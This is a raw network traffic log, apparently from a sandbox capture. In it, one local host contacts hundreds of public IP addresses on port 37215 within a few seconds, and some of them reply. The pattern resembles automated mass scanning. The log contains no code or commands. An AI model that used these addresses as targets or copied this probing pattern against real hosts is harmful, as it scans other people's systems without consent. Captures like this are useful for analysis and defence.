Jan 1, 2024 12:51:45.985980988 CET	37751	37215	192.168.2.13	197.42.97.63
Jan 1, 2024 12:51:45.985994101 CET	37751	37215	192.168.2.13	156.190.193.170
Jan 1, 2024 12:51:45.986001968 CET	37751	37215	192.168.2.13	45.128.146.26
Jan 1, 2024 12:51:45.986001968 CET	37751	37215	192.168.2.13	102.1.92.124
Jan 1, 2024 12:51:45.986002922 CET	37751	37215	192.168.2.13	197.19.80.219
Jan 1, 2024 12:51:45.986001968 CET	37751	37215	192.168.2.13	41.167.107.99
Jan 1, 2024 12:51:45.986002922 CET	37751	37215	192.168.2.13	156.196.88.116
Jan 1, 2024 12:51:45.986005068 CET	37751	37215	192.168.2.13	197.196.116.207
Jan 1, 2024 12:51:45.986002922 CET	37751	37215	192.168.2.13	41.147.197.17
Jan 1, 2024 12:51:45.986005068 CET	37751	37215	192.168.2.13	156.210.74.231
Jan 1, 2024 12:51:45.986017942 CET	37751	37215	192.168.2.13	41.33.95.182
Jan 1, 2024 12:51:45.986021996 CET	37751	37215	192.168.2.13	197.176.16.147
Jan 1, 2024 12:51:45.986026049 CET	37751	37215	192.168.2.13	94.235.199.210
Jan 1, 2024 12:51:46.158641100 CET	37215	37751	196.51.174.122	192.168.2.13
Jan 1, 2024 12:51:46.163731098 CET	37215	37751	156.34.105.217	192.168.2.13
Jan 1, 2024 12:51:46.239850044 CET	37215	37751	121.103.204.219	192.168.2.13
Jan 1, 2024 12:51:46.245443106 CET	37215	37751	197.145.138.37	192.168.2.13
Jan 1, 2024 12:51:46.278891087 CET	37215	37751	190.13.209.154	192.168.2.13
Jan 1, 2024 12:51:46.281864882 CET	37215	37751	121.159.190.20	192.168.2.13
Jan 1, 2024 12:51:46.292916059 CET	37215	37751	156.241.117.63	192.168.2.13
Jan 1, 2024 12:51:46.292989016 CET	37751	37215	192.168.2.13	156.241.117.63
Jan 1, 2024 12:51:46.295809984 CET	37215	37751	156.254.161.252	192.168.2.13
Jan 1, 2024 12:51:46.319497108 CET	37215	37751	196.95.248.237	192.168.2.13
Jan 1, 2024 12:51:46.444432974 CET	37215	37751	197.157.134.241	192.168.2.13
Jan 1, 2024 12:51:46.987169027 CET	37751	37215	192.168.2.13	41.29.75.229
Jan 1, 2024 12:51:46.987190008 CET	37751	37215	192.168.2.13	197.172.241.121
Jan 1, 2024 12:51:46.987200975 CET	37751	37215	192.168.2.13	156.38.115.42
Jan 1, 2024 12:51:46.987215042 CET	37751	37215	192.168.2.13	222.255.234.223
Jan 1, 2024 12:51:46.987224102 CET	37751	37215	192.168.2.13	197.94.193.165
Jan 1, 2024 12:51:46.987236977 CET	37751	37215	192.168.2.13	156.103.236.179
Jan 1, 2024 12:51:46.987242937 CET	37751	37215	192.168.2.13	120.31.200.209
Jan 1, 2024 12:51:46.987256050 CET	37751	37215	192.168.2.13	197.3.167.22
Jan 1, 2024 12:51:46.987272024 CET	37751	37215	192.168.2.13	197.178.176.49
Jan 1, 2024 12:51:46.987282991 CET	37751	37215	192.168.2.13	156.251.76.13
Jan 1, 2024 12:51:46.987293005 CET	37751	37215	192.168.2.13	41.87.86.178
Jan 1, 2024 12:51:46.987303972 CET	37751	37215	192.168.2.13	95.110.167.253
Jan 1, 2024 12:51:46.987317085 CET	37751	37215	192.168.2.13	156.187.202.1
Jan 1, 2024 12:51:46.987327099 CET	37751	37215	192.168.2.13	190.28.166.195
Jan 1, 2024 12:51:46.987335920 CET	37751	37215	192.168.2.13	196.27.173.91
Jan 1, 2024 12:51:46.987345934 CET	37751	37215	192.168.2.13	41.110.7.93
Jan 1, 2024 12:51:46.987349033 CET	37751	37215	192.168.2.13	41.154.14.145
Jan 1, 2024 12:51:46.987364054 CET	37751	37215	192.168.2.13	41.13.29.137
Jan 1, 2024 12:51:46.987375021 CET	37751	37215	192.168.2.13	41.21.179.249
Jan 1, 2024 12:51:46.987389088 CET	37751	37215	192.168.2.13	41.195.146.238
Jan 1, 2024 12:51:46.987405062 CET	37751	37215	192.168.2.13	156.67.54.173
Jan 1, 2024 12:51:46.987415075 CET	37751	37215	192.168.2.13	197.202.202.226
Jan 1, 2024 12:51:46.987428904 CET	37751	37215	192.168.2.13	197.117.149.119
Jan 1, 2024 12:51:46.987440109 CET	37751	37215	192.168.2.13	156.208.154.133
Jan 1, 2024 12:51:46.987449884 CET	37751	37215	192.168.2.13	197.143.119.121
Jan 1, 2024 12:51:46.987467051 CET	37751	37215	192.168.2.13	156.90.202.167
Jan 1, 2024 12:51:46.987474918 CET	37751	37215	192.168.2.13	197.95.35.49
Jan 1, 2024 12:51:46.987487078 CET	37751	37215	192.168.2.13	197.71.5.137
Jan 1, 2024 12:51:46.987497091 CET	37751	37215	192.168.2.13	197.194.18.12
Jan 1, 2024 12:51:46.987513065 CET	37751	37215	192.168.2.13	156.58.3.203
Jan 1, 2024 12:51:46.987519026 CET	37751	37215	192.168.2.13	156.16.140.77
Jan 1, 2024 12:51:46.987529039 CET	37751	37215	192.168.2.13	197.243.60.236
Jan 1, 2024 12:51:46.987545967 CET	37751	37215	192.168.2.13	92.230.20.203
Jan 1, 2024 12:51:46.987550974 CET	37751	37215	192.168.2.13	37.254.203.66
Jan 1, 2024 12:51:46.987567902 CET	37751	37215	192.168.2.13	45.116.128.41
Jan 1, 2024 12:51:46.987576008 CET	37751	37215	192.168.2.13	45.98.15.18
Jan 1, 2024 12:51:46.987586021 CET	37751	37215	192.168.2.13	156.95.69.26
Jan 1, 2024 12:51:46.987611055 CET	37751	37215	192.168.2.13	41.10.245.91
Jan 1, 2024 12:51:46.987616062 CET	37751	37215	192.168.2.13	156.84.46.253
Jan 1, 2024 12:51:46.987623930 CET	37751	37215	192.168.2.13	41.216.22.140
Jan 1, 2024 12:51:46.987626076 CET	37751	37215	192.168.2.13	95.25.98.143
Jan 1, 2024 12:51:46.987627983 CET	37751	37215	192.168.2.13	156.103.25.104
Jan 1, 2024 12:51:46.987627983 CET	37751	37215	192.168.2.13	41.169.221.243
Jan 1, 2024 12:51:46.987627983 CET	37751	37215	192.168.2.13	160.156.176.96
Jan 1, 2024 12:51:46.987623930 CET	37751	37215	192.168.2.13	156.52.93.34
Jan 1, 2024 12:51:46.987627983 CET	37751	37215	192.168.2.13	197.191.211.231
Jan 1, 2024 12:51:46.987631083 CET	37751	37215	192.168.2.13	160.126.107.128
Jan 1, 2024 12:51:46.987637997 CET	37751	37215	192.168.2.13	197.10.249.127
Jan 1, 2024 12:51:46.987638950 CET	37751	37215	192.168.2.13	41.17.151.18
Jan 1, 2024 12:51:46.987637997 CET	37751	37215	192.168.2.13	41.243.220.201
Jan 1, 2024 12:51:46.987638950 CET	37751	37215	192.168.2.13	154.228.184.105
Jan 1, 2024 12:51:46.987643957 CET	37751	37215	192.168.2.13	41.80.238.156
Jan 1, 2024 12:51:46.987643957 CET	37751	37215	192.168.2.13	156.107.212.228
Jan 1, 2024 12:51:46.987648010 CET	37751	37215	192.168.2.13	156.116.206.65
Jan 1, 2024 12:51:46.987649918 CET	37751	37215	192.168.2.13	197.90.132.244
Jan 1, 2024 12:51:46.987653017 CET	37751	37215	192.168.2.13	121.48.3.194
Jan 1, 2024 12:51:46.987653017 CET	37751	37215	192.168.2.13	107.144.129.92
Jan 1, 2024 12:51:46.987653017 CET	37751	37215	192.168.2.13	196.128.92.244
Jan 1, 2024 12:51:46.987653017 CET	37751	37215	192.168.2.13	41.206.170.81
Jan 1, 2024 12:51:46.987654924 CET	37751	37215	192.168.2.13	41.123.97.145
Jan 1, 2024 12:51:46.987662077 CET	37751	37215	192.168.2.13	197.214.217.43
Jan 1, 2024 12:51:46.987668037 CET	37751	37215	192.168.2.13	41.136.29.105
Jan 1, 2024 12:51:46.987673044 CET	37751	37215	192.168.2.13	92.158.207.37
Jan 1, 2024 12:51:46.987673998 CET	37751	37215	192.168.2.13	156.86.94.169
Jan 1, 2024 12:51:46.987678051 CET	37751	37215	192.168.2.13	181.164.145.166
Jan 1, 2024 12:51:46.987683058 CET	37751	37215	192.168.2.13	197.129.72.187
Jan 1, 2024 12:51:46.987690926 CET	37751	37215	192.168.2.13	186.175.91.47
Jan 1, 2024 12:51:46.987704992 CET	37751	37215	192.168.2.13	157.243.39.32
Jan 1, 2024 12:51:46.987706900 CET	37751	37215	192.168.2.13	157.220.153.242
Jan 1, 2024 12:51:46.987706900 CET	37751	37215	192.168.2.13	197.96.172.46
Jan 1, 2024 12:51:46.987708092 CET	37751	37215	192.168.2.13	45.39.34.211
Jan 1, 2024 12:51:46.987710953 CET	37751	37215	192.168.2.13	102.41.45.230
Jan 1, 2024 12:51:46.987719059 CET	37751	37215	192.168.2.13	197.255.232.144
Jan 1, 2024 12:51:46.987726927 CET	37751	37215	192.168.2.13	95.150.232.222
Jan 1, 2024 12:51:46.987728119 CET	37751	37215	192.168.2.13	196.24.145.222
Jan 1, 2024 12:51:46.987732887 CET	37751	37215	192.168.2.13	107.188.137.184
Jan 1, 2024 12:51:46.987746000 CET	37751	37215	192.168.2.13	41.241.136.192
Jan 1, 2024 12:51:46.987751961 CET	37751	37215	192.168.2.13	197.41.157.228
Jan 1, 2024 12:51:46.987752914 CET	37751	37215	192.168.2.13	138.251.50.109
Jan 1, 2024 12:51:46.987752914 CET	37751	37215	192.168.2.13	197.227.194.83
Jan 1, 2024 12:51:46.987754107 CET	37751	37215	192.168.2.13	41.148.68.182
Jan 1, 2024 12:51:46.987772942 CET	37751	37215	192.168.2.13	197.88.81.137
Jan 1, 2024 12:51:46.987773895 CET	37751	37215	192.168.2.13	156.187.163.110
Jan 1, 2024 12:51:46.987776041 CET	37751	37215	192.168.2.13	156.218.208.7
Jan 1, 2024 12:51:46.987776041 CET	37751	37215	192.168.2.13	122.236.222.47
Jan 1, 2024 12:51:46.987776995 CET	37751	37215	192.168.2.13	122.27.82.210
Jan 1, 2024 12:51:46.987777948 CET	37751	37215	192.168.2.13	92.10.63.225
Jan 1, 2024 12:51:46.987783909 CET	37751	37215	192.168.2.13	197.43.77.5
Jan 1, 2024 12:51:46.987786055 CET	37751	37215	192.168.2.13	197.76.150.66
Jan 1, 2024 12:51:46.987795115 CET	37751	37215	192.168.2.13	156.31.192.248
Jan 1, 2024 12:51:46.987797976 CET	37751	37215	192.168.2.13	92.94.221.73
Jan 1, 2024 12:51:46.987802982 CET	37751	37215	192.168.2.13	197.125.125.10
Jan 1, 2024 12:51:46.987818003 CET	37751	37215	192.168.2.13	156.106.57.22
Jan 1, 2024 12:51:46.987823009 CET	37751	37215	192.168.2.13	156.226.211.30
Jan 1, 2024 12:51:46.987823963 CET	37751	37215	192.168.2.13	41.59.245.255
Jan 1, 2024 12:51:46.987823009 CET	37751	37215	192.168.2.13	156.25.152.176
Jan 1, 2024 12:51:46.987823009 CET	37751	37215	192.168.2.13	156.195.47.188
Jan 1, 2024 12:51:46.987832069 CET	37751	37215	192.168.2.13	197.26.114.127
Jan 1, 2024 12:51:46.987832069 CET	37751	37215	192.168.2.13	197.233.74.47
Jan 1, 2024 12:51:46.987833977 CET	37751	37215	192.168.2.13	197.134.78.237
Jan 1, 2024 12:51:46.987833977 CET	37751	37215	192.168.2.13	186.7.144.214
Jan 1, 2024 12:51:46.987834930 CET	37751	37215	192.168.2.13	196.178.203.179
Jan 1, 2024 12:51:46.987833977 CET	37751	37215	192.168.2.13	156.200.123.130
Jan 1, 2024 12:51:46.987838984 CET	37751	37215	192.168.2.13	121.239.127.97
Jan 1, 2024 12:51:46.987843037 CET	37751	37215	192.168.2.13	197.188.4.43
Jan 1, 2024 12:51:46.987843037 CET	37751	37215	192.168.2.13	41.99.231.5
Jan 1, 2024 12:51:46.987844944 CET	37751	37215	192.168.2.13	197.156.124.42
Jan 1, 2024 12:51:46.987863064 CET	37751	37215	192.168.2.13	156.180.22.226
Jan 1, 2024 12:51:46.987870932 CET	37751	37215	192.168.2.13	181.61.204.136
Jan 1, 2024 12:51:46.987870932 CET	37751	37215	192.168.2.13	156.42.123.231
Jan 1, 2024 12:51:46.987874031 CET	37751	37215	192.168.2.13	197.42.72.187
Jan 1, 2024 12:51:46.987874031 CET	37751	37215	192.168.2.13	197.47.120.50
Jan 1, 2024 12:51:46.987874031 CET	37751	37215	192.168.2.13	190.107.248.30
Jan 1, 2024 12:51:46.987874031 CET	37751	37215	192.168.2.13	107.172.38.74
Jan 1, 2024 12:51:46.987874031 CET	37751	37215	192.168.2.13	197.148.5.77
Jan 1, 2024 12:51:46.987874985 CET	37751	37215	192.168.2.13	121.3.85.101
Jan 1, 2024 12:51:46.987888098 CET	37751	37215	192.168.2.13	92.15.205.234
Jan 1, 2024 12:51:46.987895966 CET	37751	37215	192.168.2.13	181.65.84.175
Jan 1, 2024 12:51:46.987905025 CET	37751	37215	192.168.2.13	156.184.157.33
Jan 1, 2024 12:51:46.987905025 CET	37751	37215	192.168.2.13	186.161.103.95
Jan 1, 2024 12:51:46.987905025 CET	37751	37215	192.168.2.13	197.216.194.247
Jan 1, 2024 12:51:46.987910986 CET	37751	37215	192.168.2.13	156.4.163.238
Jan 1, 2024 12:51:46.987910986 CET	37751	37215	192.168.2.13	45.59.112.179
Jan 1, 2024 12:51:46.987911940 CET	37751	37215	192.168.2.13	196.220.145.244
Jan 1, 2024 12:51:46.987912893 CET	37751	37215	192.168.2.13	196.133.139.41
Jan 1, 2024 12:51:46.987912893 CET	37751	37215	192.168.2.13	156.208.58.211
Jan 1, 2024 12:51:46.987912893 CET	37751	37215	192.168.2.13	160.111.228.173
Jan 1, 2024 12:51:46.987919092 CET	37751	37215	192.168.2.13	154.167.186.113
Jan 1, 2024 12:51:46.987920046 CET	37751	37215	192.168.2.13	156.194.66.10
Jan 1, 2024 12:51:46.987920046 CET	37751	37215	192.168.2.13	156.116.23.218
Jan 1, 2024 12:51:46.987926006 CET	37751	37215	192.168.2.13	156.114.206.185
Jan 1, 2024 12:51:46.987931013 CET	37751	37215	192.168.2.13	197.187.0.69
Jan 1, 2024 12:51:46.987931967 CET	37751	37215	192.168.2.13	197.212.171.215
Jan 1, 2024 12:51:46.987932920 CET	37751	37215	192.168.2.13	37.144.238.51
Jan 1, 2024 12:51:46.987935066 CET	37751	37215	192.168.2.13	95.15.121.143
Jan 1, 2024 12:51:46.987940073 CET	37751	37215	192.168.2.13	156.160.35.64
Jan 1, 2024 12:51:46.987946033 CET	37751	37215	192.168.2.13	156.132.73.86
Jan 1, 2024 12:51:46.987947941 CET	37751	37215	192.168.2.13	197.40.216.126
Jan 1, 2024 12:51:46.987948895 CET	37751	37215	192.168.2.13	197.19.240.200
Jan 1, 2024 12:51:46.987950087 CET	37751	37215	192.168.2.13	156.55.183.243
Jan 1, 2024 12:51:46.987948895 CET	37751	37215	192.168.2.13	156.23.243.2
Jan 1, 2024 12:51:46.987950087 CET	37751	37215	192.168.2.13	156.227.79.61
Jan 1, 2024 12:51:46.987953901 CET	37751	37215	192.168.2.13	41.30.105.51
Jan 1, 2024 12:51:46.987952948 CET	37751	37215	192.168.2.13	41.141.186.118
Jan 1, 2024 12:51:46.987953901 CET	37751	37215	192.168.2.13	197.215.26.232
Jan 1, 2024 12:51:46.987953901 CET	37751	37215	192.168.2.13	120.57.2.240
Jan 1, 2024 12:51:46.987952948 CET	37751	37215	192.168.2.13	197.237.253.68
Jan 1, 2024 12:51:46.987953901 CET	37751	37215	192.168.2.13	156.142.47.59
Jan 1, 2024 12:51:46.987953901 CET	37751	37215	192.168.2.13	102.16.105.137
Jan 1, 2024 12:51:46.987953901 CET	37751	37215	192.168.2.13	156.161.238.141
Jan 1, 2024 12:51:46.987966061 CET	37751	37215	192.168.2.13	160.47.204.100
Jan 1, 2024 12:51:46.987966061 CET	37751	37215	192.168.2.13	156.47.133.41
Jan 1, 2024 12:51:46.987967014 CET	37751	37215	192.168.2.13	197.191.241.67
Jan 1, 2024 12:51:46.987966061 CET	37751	37215	192.168.2.13	156.7.64.127
Jan 1, 2024 12:51:46.987968922 CET	37751	37215	192.168.2.13	41.142.203.236
Jan 1, 2024 12:51:46.987970114 CET	37751	37215	192.168.2.13	41.10.46.140
Jan 1, 2024 12:51:46.987970114 CET	37751	37215	192.168.2.13	95.165.49.196
Jan 1, 2024 12:51:46.987973928 CET	37751	37215	192.168.2.13	45.167.90.175
Jan 1, 2024 12:51:46.987973928 CET	37751	37215	192.168.2.13	197.135.147.67
Jan 1, 2024 12:51:46.987981081 CET	37751	37215	192.168.2.13	156.45.109.162
Jan 1, 2024 12:51:46.987981081 CET	37751	37215	192.168.2.13	41.208.106.251
Jan 1, 2024 12:51:46.987981081 CET	37751	37215	192.168.2.13	156.122.138.113
Jan 1, 2024 12:51:46.987981081 CET	37751	37215	192.168.2.13	197.25.220.255
Jan 1, 2024 12:51:46.987984896 CET	37751	37215	192.168.2.13	41.226.77.133
Jan 1, 2024 12:51:46.987984896 CET	37751	37215	192.168.2.13	156.233.46.7
Jan 1, 2024 12:51:46.987986088 CET	37751	37215	192.168.2.13	156.228.61.196
Jan 1, 2024 12:51:46.987986088 CET	37751	37215	192.168.2.13	181.29.15.123
Jan 1, 2024 12:51:46.987986088 CET	37751	37215	192.168.2.13	41.231.124.220
Jan 1, 2024 12:51:46.987986088 CET	37751	37215	192.168.2.13	156.70.253.244
Jan 1, 2024 12:51:46.987986088 CET	37751	37215	192.168.2.13	102.13.223.48
Jan 1, 2024 12:51:46.987988949 CET	37751	37215	192.168.2.13	156.198.158.194
Jan 1, 2024 12:51:46.987988949 CET	37751	37215	192.168.2.13	197.148.160.48
Jan 1, 2024 12:51:46.987998009 CET	37751	37215	192.168.2.13	107.241.10.118
Jan 1, 2024 12:51:46.987998009 CET	37751	37215	192.168.2.13	122.235.254.221
Jan 1, 2024 12:51:46.987998009 CET	37751	37215	192.168.2.13	41.17.83.197
Jan 1, 2024 12:51:46.988001108 CET	37751	37215	192.168.2.13	41.81.255.40
Jan 1, 2024 12:51:46.988010883 CET	37751	37215	192.168.2.13	92.206.58.104
Jan 1, 2024 12:51:46.988010883 CET	37751	37215	192.168.2.13	41.115.114.221
Jan 1, 2024 12:51:46.988013029 CET	37751	37215	192.168.2.13	156.27.95.62
Jan 1, 2024 12:51:46.988023996 CET	37751	37215	192.168.2.13	197.103.92.232
Jan 1, 2024 12:51:46.988023996 CET	37751	37215	192.168.2.13	41.205.180.234
Jan 1, 2024 12:51:46.988024950 CET	37751	37215	192.168.2.13	156.154.222.136
Jan 1, 2024 12:51:46.988029957 CET	37751	37215	192.168.2.13	41.181.118.121
Jan 1, 2024 12:51:46.988034010 CET	37751	37215	192.168.2.13	41.140.71.111
Jan 1, 2024 12:51:46.988034010 CET	37751	37215	192.168.2.13	197.77.190.217
Jan 1, 2024 12:51:46.988034010 CET	37751	37215	192.168.2.13	41.19.194.10
Jan 1, 2024 12:51:46.988046885 CET	37751	37215	192.168.2.13	197.35.124.78
Jan 1, 2024 12:51:46.988046885 CET	37751	37215	192.168.2.13	160.155.233.126
Jan 1, 2024 12:51:46.988054037 CET	37751	37215	192.168.2.13	41.134.21.83
Jan 1, 2024 12:51:46.988058090 CET	37751	37215	192.168.2.13	156.158.223.146
Jan 1, 2024 12:51:46.988065958 CET	37751	37215	192.168.2.13	197.222.197.249
Jan 1, 2024 12:51:46.988070965 CET	37751	37215	192.168.2.13	138.124.69.66
Jan 1, 2024 12:51:46.988075018 CET	37751	37215	192.168.2.13	197.43.223.211
Jan 1, 2024 12:51:46.988075018 CET	37751	37215	192.168.2.13	94.152.234.246
Jan 1, 2024 12:51:46.988084078 CET	37751	37215	192.168.2.13	157.174.68.218
Jan 1, 2024 12:51:46.988084078 CET	37751	37215	192.168.2.13	156.82.46.145
Jan 1, 2024 12:51:46.988095045 CET	37751	37215	192.168.2.13	197.244.6.226
Jan 1, 2024 12:51:46.988097906 CET	37751	37215	192.168.2.13	196.127.228.251
Jan 1, 2024 12:51:46.988097906 CET	37751	37215	192.168.2.13	197.229.125.164
Jan 1, 2024 12:51:46.988101959 CET	37751	37215	192.168.2.13	156.217.107.79
Jan 1, 2024 12:51:46.988101959 CET	37751	37215	192.168.2.13	197.220.117.68
Jan 1, 2024 12:51:46.988101959 CET	37751	37215	192.168.2.13	41.151.175.193
Jan 1, 2024 12:51:46.988114119 CET	37751	37215	192.168.2.13	181.137.171.106
Jan 1, 2024 12:51:46.988114119 CET	37751	37215	192.168.2.13	181.31.131.28
Jan 1, 2024 12:51:46.988120079 CET	37751	37215	192.168.2.13	160.34.138.65
Jan 1, 2024 12:51:46.988122940 CET	37751	37215	192.168.2.13	156.28.94.126
Jan 1, 2024 12:51:46.988126040 CET	37751	37215	192.168.2.13	156.1.59.245
Jan 1, 2024 12:51:46.988127947 CET	37751	37215	192.168.2.13	138.79.117.146
Jan 1, 2024 12:51:46.988130093 CET	37751	37215	192.168.2.13	181.128.36.209
Jan 1, 2024 12:51:46.988140106 CET	37751	37215	192.168.2.13	197.155.84.204
Jan 1, 2024 12:51:46.988152027 CET	37751	37215	192.168.2.13	156.67.225.109
Jan 1, 2024 12:51:46.988153934 CET	37751	37215	192.168.2.13	41.28.162.80
Jan 1, 2024 12:51:46.988162994 CET	37751	37215	192.168.2.13	157.243.88.15
Jan 1, 2024 12:51:46.988167048 CET	37751	37215	192.168.2.13	197.16.223.58
Jan 1, 2024 12:51:46.988173008 CET	37751	37215	192.168.2.13	197.78.58.123
Jan 1, 2024 12:51:46.988173962 CET	37751	37215	192.168.2.13	41.79.32.91
Jan 1, 2024 12:51:46.988173962 CET	37751	37215	192.168.2.13	122.232.183.64
Jan 1, 2024 12:51:46.988179922 CET	37751	37215	192.168.2.13	41.132.88.145
Jan 1, 2024 12:51:46.988181114 CET	37751	37215	192.168.2.13	41.52.30.17
Jan 1, 2024 12:51:46.988179922 CET	37751	37215	192.168.2.13	41.29.142.137
Jan 1, 2024 12:51:46.988184929 CET	37751	37215	192.168.2.13	41.22.24.88
Jan 1, 2024 12:51:46.988192081 CET	37751	37215	192.168.2.13	41.109.241.109
Jan 1, 2024 12:51:46.988209963 CET	37751	37215	192.168.2.13	41.156.59.22
Jan 1, 2024 12:51:46.988210917 CET	37751	37215	192.168.2.13	107.88.22.212
Jan 1, 2024 12:51:46.988213062 CET	37751	37215	192.168.2.13	197.245.177.56
Jan 1, 2024 12:51:46.988214970 CET	37751	37215	192.168.2.13	197.16.211.181
Jan 1, 2024 12:51:46.988214970 CET	37751	37215	192.168.2.13	156.226.216.98
Jan 1, 2024 12:51:46.988224030 CET	37751	37215	192.168.2.13	197.42.69.94
Jan 1, 2024 12:51:46.988224030 CET	37751	37215	192.168.2.13	41.248.124.216
Jan 1, 2024 12:51:46.988230944 CET	37751	37215	192.168.2.13	181.108.108.15
Jan 1, 2024 12:51:46.988233089 CET	37751	37215	192.168.2.13	197.80.252.101
Jan 1, 2024 12:51:46.988234043 CET	37751	37215	192.168.2.13	197.88.234.180
Jan 1, 2024 12:51:46.988235950 CET	37751	37215	192.168.2.13	222.244.60.58
Jan 1, 2024 12:51:46.988239050 CET	37751	37215	192.168.2.13	94.240.104.19
Jan 1, 2024 12:51:46.988239050 CET	37751	37215	192.168.2.13	197.231.241.223
Jan 1, 2024 12:51:46.988248110 CET	37751	37215	192.168.2.13	197.110.232.20
Jan 1, 2024 12:51:46.988248110 CET	37751	37215	192.168.2.13	41.135.93.116
Jan 1, 2024 12:51:46.988248110 CET	37751	37215	192.168.2.13	197.188.161.70
Jan 1, 2024 12:51:46.988250017 CET	37751	37215	192.168.2.13	138.233.219.218
Jan 1, 2024 12:51:46.988250017 CET	37751	37215	192.168.2.13	41.239.52.222
Jan 1, 2024 12:51:46.988257885 CET	37751	37215	192.168.2.13	138.145.107.144
Jan 1, 2024 12:51:46.988264084 CET	37751	37215	192.168.2.13	197.18.27.30
Jan 1, 2024 12:51:46.988271952 CET	37751	37215	192.168.2.13	120.140.63.196
Jan 1, 2024 12:51:46.988271952 CET	37751	37215	192.168.2.13	190.44.92.106
Jan 1, 2024 12:51:46.988289118 CET	37751	37215	192.168.2.13	102.62.170.55
Jan 1, 2024 12:51:46.988291979 CET	37751	37215	192.168.2.13	181.121.206.221
Jan 1, 2024 12:51:46.988292933 CET	37751	37215	192.168.2.13	156.191.20.201
Jan 1, 2024 12:51:46.988291979 CET	37751	37215	192.168.2.13	156.197.32.72
Jan 1, 2024 12:51:46.988292933 CET	37751	37215	192.168.2.13	197.123.70.33
Jan 1, 2024 12:51:46.988291979 CET	37751	37215	192.168.2.13	156.127.29.0
Jan 1, 2024 12:51:46.988301992 CET	37751	37215	192.168.2.13	156.206.96.131
Jan 1, 2024 12:51:46.988303900 CET	37751	37215	192.168.2.13	122.5.213.47
Jan 1, 2024 12:51:46.988313913 CET	37751	37215	192.168.2.13	41.35.249.70
Jan 1, 2024 12:51:46.988322020 CET	37751	37215	192.168.2.13	41.137.156.210
Jan 1, 2024 12:51:46.988322973 CET	37751	37215	192.168.2.13	197.174.99.139
Jan 1, 2024 12:51:46.988332987 CET	37751	37215	192.168.2.13	197.114.246.90
Jan 1, 2024 12:51:46.988332987 CET	37751	37215	192.168.2.13	41.129.232.253
Jan 1, 2024 12:51:46.988338947 CET	37751	37215	192.168.2.13	41.60.4.129
Jan 1, 2024 12:51:46.988353014 CET	37751	37215	192.168.2.13	41.163.156.21
Jan 1, 2024 12:51:46.988353968 CET	37751	37215	192.168.2.13	154.151.173.89
Jan 1, 2024 12:51:46.988356113 CET	37751	37215	192.168.2.13	197.231.175.55
Jan 1, 2024 12:51:46.988359928 CET	37751	37215	192.168.2.13	156.93.101.179
Jan 1, 2024 12:51:46.988359928 CET	37751	37215	192.168.2.13	41.222.25.53
Jan 1, 2024 12:51:46.988368988 CET	37751	37215	192.168.2.13	107.226.129.66
Jan 1, 2024 12:51:46.988373041 CET	37751	37215	192.168.2.13	41.165.18.36
Jan 1, 2024 12:51:46.988373995 CET	37751	37215	192.168.2.13	156.133.152.241
Jan 1, 2024 12:51:46.988380909 CET	37751	37215	192.168.2.13	156.162.142.151
Jan 1, 2024 12:51:46.988388062 CET	37751	37215	192.168.2.13	156.213.32.215
Jan 1, 2024 12:51:46.988388062 CET	37751	37215	192.168.2.13	41.38.48.188
Jan 1, 2024 12:51:46.988393068 CET	37751	37215	192.168.2.13	197.98.27.9
Jan 1, 2024 12:51:46.988415956 CET	37751	37215	192.168.2.13	41.221.148.175
Jan 1, 2024 12:51:46.988418102 CET	37751	37215	192.168.2.13	197.104.129.235
Jan 1, 2024 12:51:46.988418102 CET	37751	37215	192.168.2.13	156.167.223.83
Jan 1, 2024 12:51:46.988418102 CET	37751	37215	192.168.2.13	154.88.79.69
Jan 1, 2024 12:51:46.988418102 CET	37751	37215	192.168.2.13	197.240.52.136
Jan 1, 2024 12:51:46.988419056 CET	37751	37215	192.168.2.13	156.145.197.200
Jan 1, 2024 12:51:46.988436937 CET	37751	37215	192.168.2.13	156.232.247.148
Jan 1, 2024 12:51:46.988436937 CET	37751	37215	192.168.2.13	154.171.49.84
Jan 1, 2024 12:51:46.988439083 CET	37751	37215	192.168.2.13	156.220.64.61
Jan 1, 2024 12:51:46.988439083 CET	37751	37215	192.168.2.13	156.107.177.127
Jan 1, 2024 12:51:46.988439083 CET	37751	37215	192.168.2.13	197.9.29.150
Jan 1, 2024 12:51:46.988445044 CET	37751	37215	192.168.2.13	41.197.197.129
Jan 1, 2024 12:51:46.988460064 CET	37751	37215	192.168.2.13	41.251.69.185
Jan 1, 2024 12:51:46.988460064 CET	37751	37215	192.168.2.13	41.115.61.222
Jan 1, 2024 12:51:46.988461971 CET	37751	37215	192.168.2.13	197.241.115.160
Jan 1, 2024 12:51:46.988461971 CET	37751	37215	192.168.2.13	156.246.138.40
Jan 1, 2024 12:51:46.988464117 CET	37751	37215	192.168.2.13	197.149.211.24
Jan 1, 2024 12:51:46.988468885 CET	37751	37215	192.168.2.13	197.61.79.227
Jan 1, 2024 12:51:46.988470078 CET	37751	37215	192.168.2.13	107.118.244.178
Jan 1, 2024 12:51:46.988470078 CET	37751	37215	192.168.2.13	122.78.47.88
Jan 1, 2024 12:51:46.988470078 CET	37751	37215	192.168.2.13	197.39.211.75
Jan 1, 2024 12:51:46.988476992 CET	37751	37215	192.168.2.13	41.45.28.26
Jan 1, 2024 12:51:46.988477945 CET	37751	37215	192.168.2.13	156.170.115.122
Jan 1, 2024 12:51:46.988477945 CET	37751	37215	192.168.2.13	41.199.219.203
Jan 1, 2024 12:51:46.988477945 CET	37751	37215	192.168.2.13	95.180.29.204
Jan 1, 2024 12:51:46.988480091 CET	37751	37215	192.168.2.13	41.146.9.87
Jan 1, 2024 12:51:46.988482952 CET	37751	37215	192.168.2.13	41.153.131.210
Jan 1, 2024 12:51:46.988490105 CET	37751	37215	192.168.2.13	197.57.159.125
Jan 1, 2024 12:51:46.988490105 CET	37751	37215	192.168.2.13	41.141.77.241
Jan 1, 2024 12:51:46.988490105 CET	37751	37215	192.168.2.13	156.7.47.86
Jan 1, 2024 12:51:46.988490105 CET	37751	37215	192.168.2.13	41.88.16.51
Jan 1, 2024 12:51:46.988492966 CET	37751	37215	192.168.2.13	92.105.83.178
Jan 1, 2024 12:51:46.988492966 CET	37751	37215	192.168.2.13	45.24.169.225
Jan 1, 2024 12:51:46.988493919 CET	37751	37215	192.168.2.13	197.232.168.151
Jan 1, 2024 12:51:46.988507986 CET	37751	37215	192.168.2.13	95.84.176.184
Jan 1, 2024 12:51:46.988509893 CET	37751	37215	192.168.2.13	107.63.34.191
Jan 1, 2024 12:51:46.988512993 CET	37751	37215	192.168.2.13	157.65.114.101
Jan 1, 2024 12:51:46.988519907 CET	37751	37215	192.168.2.13	196.161.140.153
Jan 1, 2024 12:51:46.988521099 CET	37751	37215	192.168.2.13	156.181.114.128
